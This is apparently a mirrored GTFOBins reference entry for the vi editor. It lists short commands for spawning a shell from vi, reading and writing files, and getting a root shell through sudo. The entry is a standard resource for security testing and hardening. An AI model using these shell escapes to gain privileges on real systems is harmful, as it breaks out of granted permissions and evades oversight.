mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
21 lines
406 B
Markdown
21 lines
406 B
Markdown
---
|
|
description: Modern Unix systems run [`vim`](/gtfobins/vim/) binary when `vi` is called.
|
|
functions:
|
|
shell:
|
|
- code: vi -c ':!/bin/sh' /dev/null
|
|
- code: |
|
|
vi
|
|
:set shell=/bin/sh
|
|
:shell
|
|
file-write:
|
|
- code: |
|
|
vi file_to_write
|
|
iDATA
|
|
^[
|
|
w
|
|
file-read:
|
|
- code: vi file_to_read
|
|
sudo:
|
|
- code: sudo vi -c ':!/bin/sh' /dev/null
|
|
---
|